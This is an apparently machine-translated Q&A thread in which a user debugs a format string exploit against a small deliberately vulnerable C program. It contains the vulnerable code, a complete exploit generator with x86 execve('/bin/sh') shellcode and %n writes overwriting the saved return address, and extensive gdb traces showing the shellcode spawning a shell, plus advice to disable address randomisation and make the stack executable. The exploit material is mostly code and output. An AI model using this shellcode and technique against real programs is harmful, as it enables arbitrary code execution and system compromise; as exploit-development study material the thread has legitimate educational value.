Ошибки форматной строки - эксплуатация

Я пытаюсь использовать свою ошибку строки формата, которая заключается в этой программе:

#include <sys/types.h>
#include <sys/uio.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void foo(char* tmp, char* format) {
  /* write into tmp a string formated as the format argument specifies */
  sprintf(tmp, format);

  /* just print the tmp buffer */
  printf("%s", tmp);
}

int main(int argc, char** argv) {
  char tmp[512];
  char format[512];

  while(1) {
    /* fill memory with constant byte */
    memset(format, '\0', 512);

    /* read at most 512 bytes into format */
    read(0, format, 512);

    /* compare two strings */
    if (!strncmp(format, "exit", 4))
      break;

    foo(tmp, format);
  }
  return 0;
}

Стек выглядит так:

Low Memory Addresses

   before printf             before sprintf
     function                   function

                         ----------------------- 
                         |     0xbffff258      | -
-----------------------  ----------------------- |--- arguments to printf/sprintf
|     0xbffff258      |  |     0xbffff058      | -
-----------------------  ----------------------- 
|     0xbffff458      |  (saved EBP)
-----------------------
|     0x08048528      |  (return address to main - EIP)
-----------------------
|     0xbffff258      |  (pointer to tmp)
----------------------- 
|     0xbffff058      |  (pointer to format)
-----------------------
|     0x00000004      |  (constant 4)
-----------------------
|      format[0]      |  (starts at 0xbffff058)
-----------------------
|     format[511]     |
-----------------------
|       tmp[0]        |  (starts at 0xbffff258)
-----------------------
|      tmp[511]       |
-----------------------
High Memory Addresses

поэтому основная идея состоит в том, чтобы написать последовательность %x, %n, ... и передать ее программе. Программа, которую я использую для создания входной строки:

#include <sys/types.h>
#include <sys/uio.h>
#include <unistd.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>


char shellcode[] =
  "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
  "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
  "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";


main()
{
  char b0[255];
  char b1[255];
  char b2[255];
  char b3[255];
  char b4[1024];
  char buffer[512];

  memset(b0, 0, 255);
  memset(b1, 0, 255);
  memset(b2, 0, 255);
  memset(b3, 0, 255);
  memset(b4, 'A', 1024);

  memset(b0, 'A', 0x68 - 0x10 - 0x28); // 0x10 because of the four addresses; 0x28 because of the shellcode
  memset(b1, 'A', 0xf0 - 0x68);
  memset(b2, 'A', 0xff - 0xf0);
  memset(b3, 'A', 0x1bf - 0xff);

  printf("\x48\xf0\xff\xbf" 
         "\x49\xf0\xff\xbf" 
         "\x4a\xf0\xff\xbf" 
         "\x4b\xf0\xff\xbf" 
         "%s" 
         "%s" 
         "%%6$n" 
         "%s" 
         "%%7$n"
         "%s" 
         "%%8$n" 
         "%s"
         "%%9$n" 
         ,shellcode, b0, b1, b2, b3);
}

мы видим, что я перезаписал адреса: 0xbffff048, 0xbffff049, 0xbffff04a, 0xbffff04b следующими шестнадцатеричными числами: 0x68, 0xf0, 0xff, 0x1bf, что дает нам адрес: 0xbffff068 (это адрес шеллкода в памяти) . Таким образом, идея состоит в том, чтобы перезаписать 0x08048528 (EIP) этим адресом, поэтому, когда функция вернется, она перейдет на этот адрес.

Я сделал все это и проверил с помощью отладчика, что все в порядке. Но я все равно получаю ошибку сегментации в vfprintf() из /lib/libc.so.6.

Кто-нибудь знает, что происходит. Я что-то напутал?

Спасибо


person eleanor    schedule 19.02.2011    source источник
comment
как выглядит ваш шелл-код на понятном ассемблере?   -  person BlackBear    schedule 19.02.2011


Ответы (2)


Полная перезапись

  1. Итак, ваш стек является исполняемым. Хорошо.
  2. Вам следует попробовать отключить рандомизацию адресов стека.
  3. Похоже, это x86, но такую ​​информацию следует добавить к вопросу.
person Thomas M. DuBuisson    schedule 19.02.2011
comment
Да, это исполняемый файл, я установил его с помощью: execstack -s ./main ... так что это не должно быть проблемой. - person eleanor; 19.02.2011

Адреса немного изменились, но я сделал то, что вы мне сказали, я использовал stepi и получил следующие результаты:

После strcpy память выглядит так:

(gdb) x/50x $esp
0xbffff024:     0xbffff240      0xbffff040      0xbffff448      0xbffff050
0xbffff034:     0xbf000001      0xbffff040      0x00000004      0xbffff030
0xbffff044:     0xbffff031      0xbffff032      0xbffff033      0x315e1aeb
0xbffff054:     0x074688c0      0x5e891e8d      0x0c468908      0xf3890bb0
0xbffff064:     0x8d084e8d      0x80cd0c56      0xffffe1e8      0x69622fff
0xbffff074:     0x68732f6e      0x41414141      0x41414141      0x41414141
0xbffff084:     0x41414141      0x41414141      0x41414141      0x6e243625
0xbffff094:     0x41414141      0x41414141      0x41414141      0x41414141

мы видим, что адрес для перехода теперь 0xbffff050, что правильно (здесь находится наш шелл-код).

а затем я выполняю stepi:

(gdb) i reg $eip
eip            0x804846c        0x804846c <foo+24>
(gdb) stepi
0x0804846d in foo (tmp=0x1 <Address 0x1 out of bounds>, format=0xbffff4f4 "_\366\377\277") at main.c:13
13      }

давайте немного проанализируем:

(gdb) i reg $eip
eip            0x804846d        0x804846d <foo+25>
(gdb) x/4i $eip
=> 0x804846d <foo+25>:  ret
   0x804846e <main>:    push   ebp
   0x804846f <main+1>:  mov    ebp,esp
   0x8048471 <main+3>:  sub    esp,0x414

хорошо, если я сделаю еще один шаг, то должен быть выполнен возврат, и выполнение перескочило на адрес: 0xbffff050.

и снова stepi, чтобы выполнить return:

(gdb) stepi
0xbffff050 in ?? ()

(gdb) x/4i $eip
=> 0xbffff050:  jmp    0xbffff06c
   0xbffff052:  pop    esi
   0xbffff053:  xor    eax,eax
   0xbffff055:  mov    BYTE PTR [esi+0x7],al
   0xbffff058:  lea    ebx,[esi]
   0xbffff05a:  mov    DWORD PTR [esi+0x8],ebx
   0xbffff05d:  mov    DWORD PTR [esi+0xc],eax
   0xbffff060:  mov    al,0xb

(gdb) i reg $eip
eip            0xbffff050       0xbffff050

хорошо, он попытался перейти на 0xbffff050, но не удалось или что? EIP по-прежнему находится на 0xbffff050.

Память выглядит так:

(gdb) x/50x 0xbffff024
0xbffff024:     0xbffff240      0xbffff040      0xbffff448      0xbffff050
0xbffff034:     0xbf000001      0xbffff040      0x00000004      0xbffff030
0xbffff044:     0xbffff031      0xbffff032      0xbffff033      0x315e1aeb
0xbffff054:     0x074688c0      0x5e891e8d      0x0c468908      0xf3890bb0
0xbffff064:     0x8d084e8d      0x80cd0c56      0xffffe1e8      0x69622fff
0xbffff074:     0x68732f6e      0x41414141      0x41414141      0x41414141
0xbffff084:     0x41414141      0x41414141      0x41414141      0x6e243625
0xbffff094:     0x41414141      0x41414141      0x41414141      0x41414141

Я не использовал $esp для отображения памяти, потому что он изменился с 0xbffff024 на 0xbffff034.

Хорошо, давайте перейдем к 0xbffff06c (это начало шеллкода):

(gdb) stepi
0xbffff06c in ?? ()
(gdb) x/4i $eip
=> 0xbffff06c:  call   0xbffff052

Хорошо, давайте вызовем 0xbffff052:

(gdb) stepi
0xbffff052 in ?? ()
(gdb) x/4i $eip
=> 0xbffff052:  pop    esi
   0xbffff053:  xor    eax,eax
   0xbffff055:  mov    BYTE PTR [esi+0x7],al
   0xbffff058:  lea    ebx,[esi]

Сохраним регистр ESI с обратным адресом из предыдущего вызова:

(gdb) stepi
0xbffff053 in ?? ()
(gdb) x/4i $eip
=> 0xbffff053:  xor    eax,eax
   0xbffff055:  mov    BYTE PTR [esi+0x7],al
   0xbffff058:  lea    ebx,[esi]
   0xbffff05a:  mov    DWORD PTR [esi+0x8],ebx
(gdb) i reg $esi
esi            0xbffff071       -1073745807

Давайте установим EAX в 0:

(gdb) stepi
0xbffff055 in ?? ()
(gdb) i reg $eax
eax            0x0      0

Давайте запишем null в место в памяти:

(gdb) x/4i $eip
=> 0xbffff055:  mov    BYTE PTR [esi+0x7],al
   0xbffff058:  lea    ebx,[esi]
   0xbffff05a:  mov    DWORD PTR [esi+0x8],ebx
   0xbffff05d:  mov    DWORD PTR [esi+0xc],eax

(gdb) x/20x $esp
before:
0xbffff064:     0x8d084e8d      0x80cd0c56      0xffffe1e8      0x69622fff
0xbffff074:     0x68732f6e      0x41414141      0x41414141      0x41414141

after:
0xbffff064:     0x8d084e8d      0x80cd0c56      0xffffe1e8      0x69622fff
0xbffff074:     0x68732f6e      0x41414100      0x41414141      0x4141414

Выполните инструкцию LEA:

(gdb) x/4i $eip
=> 0xbffff058:  lea    ebx,[esi]
   0xbffff05a:  mov    DWORD PTR [esi+0x8],ebx
   0xbffff05d:  mov    DWORD PTR [esi+0xc],eax
   0xbffff060:  mov    al,0xb
(gdb) x/x $esi
0xbffff071:     0x6e69622f
(gdb) x/x $ebx
0x29aff4:       0x00158d7c
(gdb) stepi
0xbffff05a in ?? ()
(gdb) x/x $ebx
0xbffff071:     0x6e69622f

Еще одно изменение памяти:

(gdb) x/4i $eip
=> 0xbffff05a:  mov    DWORD PTR [esi+0x8],ebx
   0xbffff05d:  mov    DWORD PTR [esi+0xc],eax
   0xbffff060:  mov    al,0xb
   0xbffff062:  mov    ebx,esi
(gdb) stepi
0xbffff05d in ?? ()
(gdb) stepi
0xbffff060 in ?? ()
(gdb) x/40x $esp
0xbffff064:     0x8d084e8d      0x80cd0c56      0xffffe1e8      0x69622fff
0xbffff074:     0x68732f6e      0xfff07100      0x000000bf      0x41414100

Заполните EAX системным вызовом:

(gdb) x/4i $eip
=> 0xbffff060:  mov    al,0xb
   0xbffff062:  mov    ebx,esi
   0xbffff064:  lea    ecx,[esi+0x8]
   0xbffff067:  lea    edx,[esi+0xc]
(gdb) i reg $eax
eax            0x0      0
(gdb) stepi
0xbffff062 in ?? ()
(gdb) i reg $eax
eax            0xb      11

Заполняем ebx, ecx, edx:

(gdb) x/4i $eip
=> 0xbffff062:  mov    ebx,esi
   0xbffff064:  lea    ecx,[esi+0x8]
   0xbffff067:  lea    edx,[esi+0xc]
   0xbffff06a:  int    0x80
(gdb) stepi
0xbffff064 in ?? ()
(gdb) stepi
0xbffff067 in ?? ()
(gdb) stepi
0xbffff06a in ?? ()
(gdb) i reg $eax $ebx $ecx $edx
eax            0xb      11
ebx            0xbffff071       -1073745807
ecx            0xbffff079       -1073745799
edx            0xbffff07d       -1073745795

Выполните int-инструкцию:

(gdb) x/4i $eip
=> 0xbffff06a:  int    0x80
   0xbffff06c:  call   0xbffff052
   0xbffff071:  das
   0xbffff072:  bound  ebp,QWORD PTR [ecx+0x6e]
(gdb) stepi
process 2863 is executing new program: /bin/dash

Program exited normally.

И еще Степи:

(gdb) stepi
The program is not being run.

Так что я думаю, что нет никакой ошибки, это работает. Но проблема остается в том, что когда я запускаю программу в обычном режиме, я просто не получаю консоль /bin/dash. Любопытно то, что процесс 2863 сразу же завершается... без запроса оболочки в gdb? Любые идеи?

person eleanor    schedule 21.02.2011
comment
хорошо, он попытался перейти на 0xbffff050, но не удалось или что? - вы не знаете. x/4i $eip ничего не будет выполнять. Я бы порекомендовал использовать его перед каждым stepi. - person osgx; 21.02.2011
comment
Если вы посмотрите на весь пост, я делаю stepi на всем протяжении ... и да, он прыгает на 0xbffff050, все в порядке. Он выполняет весь шелл-код в порядке, но в конце просто сразу же завершается. И при запуске в оболочке (не в gdb) ничего не происходит... есть мысли? - person eleanor; 21.02.2011
comment
Я бы отметил проблему как решенную. Как видно из трассировки, переполнение работает нормально, проблема была именно в адресах, поскольку они не совпадают при запуске программы в оболочке или в gdb. Исправлена. Спасибо за всю помощь, ребята. - person eleanor; 23.02.2011